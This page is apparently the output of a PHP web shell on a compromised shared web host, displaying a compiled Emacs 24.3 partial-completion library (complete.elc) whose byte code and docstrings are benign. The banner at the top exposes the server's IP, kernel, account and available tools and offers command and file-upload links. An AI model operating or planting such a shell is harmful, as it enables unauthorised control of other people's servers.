Server IP : 111.118.215.189 / Your IP : 18.116.170.100 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/obsolete/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:09:06 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/obsolete/complete.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301\302\303\304\305\306\307\306\310& \210\311\312\313\314\315\316\306\301&\210\311\317\320\321\315\322\306\301&\210\311\323\324\325\315\326\306\301&\210\311\327\330\331\315\332\306\301&\210\311\333\302\334\315\322\306\301&\207" [custom-declare-group partial-completion nil "Partial Completion of items." :prefix "pc-" :group minibuffer convenience custom-declare-variable PC-first-char 'find-file "Control how the first character of a string is to be interpreted.\nIf nil, the first character of a string is not taken literally if it is a word\ndelimiter, so that \".e\" matches \"*.e*\".\nIf t, the first character of a string is always taken literally even if it is a\nword delimiter, so that \".e\" matches \".e*\".\nIf non-nil and non-t, the first character is taken literally only for file name\ncompletion." :type (choice (const :tag "delimiter" nil) (const :tag "literal" t) (other :tag "find-file" find-file)) PC-meta-flag t "If non-nil, TAB means PC completion and M-TAB means normal completion.\nOtherwise, TAB means normal completion and M-TAB means Partial Completion." boolean PC-word-delimiters "-_. " "A string of characters treated as word delimiters for completion.\nSome arcane rules:\nIf `]' is in this string, it must come first.\nIf `^' is in this string, it must not come first.\nIf `-' is in this string, it must come first or right after `]'.\nIn other words, if S is this string, then `[S]' must be a valid Emacs regular\nexpression (not containing character ranges like `a-z')." string PC-include-file-path '("/usr/include" "/usr/local/include") "A list of directories in which to look for include files.\nIf nil, means use the colon-separated path in the variable $INCPATH instead." (repeat directory) PC-disable-includes "If non-nil, include-file support in \\[find-file] is disabled."] 10) #@69 If non-nil, default partial completion key bindings are suppressed. (defvar PC-default-bindings t (#$ . 2401)) #@54 A list of the environment variable names and values. (defvar PC-env-vars-alist nil (#$ . 2518)) (defalias 'PC-bindings #[(bind) " \f\2045 \306 \307\310#\210\306\311\312#\210\306\313\314#\210\306\315\316#\210\306\n\317\320#\210\306\n\321\320#\210\306\322\323#\202\216 \205\216 \306 \307\324#\210\306\311\325#\210\306\313\326#\210\306\315\327#\210\306\307\325#\210\306\330\326#\210\306\331\332#\210\306\333\332#\210\306\334\327#\210\306\n\317\335#\210\306\n\321\335#\210\306\n\331\335#\210\306\n\333\335#\210\306\336\324#*\207" [minibuffer-local-completion-map minibuffer-local-must-match-map must-match-map completion-map bind read-expression-map define-key " " lisp-complete-symbol " " minibuffer-complete " " minibuffer-complete-word "?" minibuffer-completion-help " " minibuffer-complete-and-exit "\n" [remap lisp-complete-symbol] nil PC-lisp-complete-symbol PC-complete PC-complete-word PC-completion-help " " " " PC-force-complete-and-exit "\n" "?" PC-complete-and-exit [remap lisp-complete-symbol] global-map PC-default-bindings] 4]) #@47 Internal variable used by `PC-do-completion'. (defvar PC-do-completion-end nil (#$ . 3588)) (make-variable-buffer-local 'PC-do-completion-end) #@92 Internal variable set in `PC-do-completion', used in `choose-completion-string-functions'. (defvar PC-goto-end nil (#$ . 3737)) (byte-code "\300\301!\210\302\303\304\305\306\307\310\311\312\313\314\315&\207" [make-variable-buffer-local PC-goto-end custom-declare-variable partial-completion-mode nil "Non-nil if Partial-Completion mode is enabled.\nSee the command `partial-completion-mode' for a description of this minor mode.\nSetting this variable directly does not take effect;\neither customize it (see the info node `Easy Customization')\nor call the function `partial-completion-mode'." :set custom-set-minor-mode :initialize custom-initialize-default :group partial-completion :type boolean] 12) #@1275 Toggle Partial Completion mode. With prefix ARG, turn Partial Completion mode on if ARG is positive. When Partial Completion mode is enabled, TAB (or M-TAB if `PC-meta-flag' is nil) is enhanced so that if some string is divided into words and each word is delimited by a character in `PC-word-delimiters', partial words are completed as much as possible and `*' characters are treated likewise in file names. For example, M-x p-c-m expands to M-x partial-completion-mode since no other command begins with that sequence of characters, and \[find-file] f_b.c TAB might complete to foo_bar.c if that file existed and no other file in that directory begins with that sequence of characters. Unless `PC-disable-includes' is non-nil, the `<...>' sequence is interpreted specially in \[find-file]. For example, \[find-file] <sys/time.h> RET finds the file `/usr/include/sys/time.h'. See also the variable `PC-include-file-path'. Partial Completion mode extends the meaning of `completion-auto-help' (which see), so that if it is neither nil nor t, Emacs shows the `*Completions*' buffer only on the second attempt to complete. That is, if TAB finds nothing to complete, the first TAB just says "Next char not unique" and the second TAB brings up the `*Completions*' buffer. (defalias 'partial-completion-mode #[(&optional arg) "\306 \307=\203 \n?\202 \310 !\311V\312\n!\210\n\204$ \313\314\315\"\210\202- \204- \316\314\315\"\210\n\2035 \316\2026 \313\317\320\"\210\n\203G \f\204G \321\322 \"\323\324\n\203Q \325\202R \326\"\210\327\330!\203w \331\302!\210\306 \203j \306 \232\203w \332\333\n\203t \334\202u \335\"\210)\336 \210\n\207" [#1=#:last-message arg partial-completion-mode PC-disable-includes PC-env-vars-alist process-environment current-message toggle prefix-numeric-value 0 PC-bindings remove-hook find-file-not-found-functions PC-look-for-include-file add-hook choose-completion-string-functions #[(choice buffer &rest ignored) "\204 \303 !\203 db\210\202 \n\203 \nb\210\304\304\211\207" [PC-goto-end buffer PC-do-completion-end minibufferp nil] 3] mapcar #[(string) "\302\303\"\304\305 OP \205 T\306O)B\207" [string d string-match "=" "$" 0 nil] 4] run-hooks partial-completion-mode-hook partial-completion-mode-on-hook partial-completion-mode-off-hook called-interactively-p any customize-mark-as-set message "Partial-Completion mode %sabled" "en" "dis" force-mode-line-update] 3 (#$ . 4451) (list (or current-prefix-arg 'toggle))]) (byte-code "\301\302\303\304\300!\205\n \303\211%\207" [partial-completion-mode-map add-minor-mode partial-completion-mode nil boundp] 6) #@520 Like minibuffer-complete, but allows "b--di"-style abbreviations. For example, "M-x b--di" would match `byte-recompile-directory', or any name which consists of three or more words, the first beginning with "b" and the third beginning with "di". The pattern "b--d" is ambiguous for `byte-recompile-directory' and `beginning-of-defun', so this would produce a list of completions just like when normal Emacs completions are ambiguous. Word-delimiters for the purposes of Partial Completion are "-", "_", ".", and SPC. (defalias 'PC-complete #[nil "\304 \203 \305 \207 =\204 \306\n\211\203? \307!\203? \310\307!!\203? r\307!q\210\311d\"\2039 \312e\306#\202; \313 )\202B \314\306!)\207" [last-command this-command minibuffer-scroll-window window PC-was-meta-key minibuffer-complete nil window-buffer buffer-name pos-visible-in-window-p set-window-start scroll-other-window PC-do-completion] 5 (#$ . 7067) nil]) #@169 Like `minibuffer-complete-word', but allows "b--di"-style abbreviations. See `PC-complete' for details. This can be bound to other keys, like `-' and `.', if you wish. (defalias 'PC-complete-word #[nil "\302 =\203 \303=\203 \304 \207\305\306!\207\305\306!\210m\205 \307\310!\207" [PC-meta-flag last-command-event PC-was-meta-key 32 minibuffer-complete-word self-insert-command 1 PC-do-completion word] 2 (#$ . 7994) nil]) #@180 Like `minibuffer-complete-word', but allows "b--di"-style abbreviations. See `PC-complete' for details. This is suitable for binding to other keys which should act just like SPC. (defalias 'PC-complete-space #[nil "\301 =\203\n \302 \207\303c\210m\205 \304\305!\207" [PC-meta-flag PC-was-meta-key minibuffer-complete-word " " PC-do-completion word] 2 (#$ . 8428) nil]) #@109 Like `minibuffer-complete-and-exit', but allows "b--di"-style abbreviations. See `PC-complete' for details. (defalias 'PC-complete-and-exit #[nil "\301 =\203\n \302 \207\303 \207" [PC-meta-flag PC-was-meta-key minibuffer-complete-and-exit PC-do-complete-and-exit] 2 (#$ . 8806) nil]) #@109 Like `minibuffer-complete-and-exit', but allows "b--di"-style abbreviations. See `PC-complete' for details. (defalias 'PC-force-complete-and-exit #[nil "\301\302 )\207" [minibuffer-completion-confirm nil PC-do-complete-and-exit] 1 (#$ . 9098) nil]) (defalias 'PC-do-complete-and-exit #[nil "d\306 U\203\n \307 \207\310=\203&